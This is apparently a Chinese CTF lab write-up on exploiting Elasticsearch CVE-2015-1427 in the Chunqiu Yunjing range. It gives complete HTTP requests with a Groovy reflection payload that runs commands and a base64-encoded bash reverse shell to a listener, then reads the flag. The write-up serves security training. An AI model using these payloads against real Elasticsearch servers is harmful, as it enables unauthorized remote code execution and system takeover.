[春秋云镜]CVE-2015-1427

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!

靶场介绍

ElasticSearch RCE

春秋云镜开启靶场:

http://eci-2ze5zvawqbekxeseuhhl.cloudeci1.ichunqiu.com:9200/

先发送一个数据包

POST /website/blog/  HTTP/1.1
Host: eci-2ze5zvawqbekxeseuhhl.cloudeci1.ichunqiu.com:9200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 27

{
	  "name": "caogen"
}

利用反射机制执行Payload

POST /_search?pretty HTTP/1.1
Host: eci-2ze5zvawqbekxeseuhhl.cloudeci1.ichunqiu.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 490

{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":

             "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }

}

GetShell

nc监听9999端口

生成命令

https://forum.ywhack.com/reverse-shell/

https://bewhale.github.io/tools/encode.html

 执行Payload获取shell

POST /_search?pretty HTTP/1.1
Host: eci-2ze5zvawqbekxeseuhhl.cloudeci1.ichunqiu.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 585

{
    "size":1,
    "script_fields": {
        "test#": {  
            "script":

             "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}\").getInputStream())).readLines()",

            "lang": "groovy"
        }
    }

}

成功反弹shell

tac /f*   #查看flag

 base64解密

ZmxhZ3tkODFmNGJjOS1hYzllLTQ1OTktYmVhMy1jN2UxOWFhZDVlMzB9

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值